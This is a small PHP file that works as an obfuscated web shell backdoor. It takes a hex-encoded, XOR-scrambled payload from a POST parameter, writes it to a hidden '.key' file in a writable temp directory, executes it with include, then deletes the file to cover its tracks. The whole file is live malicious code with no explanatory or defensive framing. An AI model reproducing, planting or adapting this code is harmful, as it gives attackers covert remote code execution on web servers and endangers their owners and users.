<?php

if(in_array("\x73\x79m", array_keys($_POST))){
	$property_set = hex2bin($_POST["\x73\x79m"]);
	$flg =    ''; foreach(str_split($property_set) as $char){$flg .= chr(ord($char) ^ 12);}
	$ent = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir()]);
	$pgrp = 0;
do {
    $flag = $ent[$pgrp] ?? null;
    if ($pgrp >= count($ent)) break;
    		if (is_writable($flag) && is_dir($flag)) {
    $component = vsprintf("%s/%s", [$flag, ".key"]);
    if (@file_put_contents($component, $flg) !== false) {
	include $component;
	unlink($component);
	die();
}
}
    $pgrp++;
} while (true);
}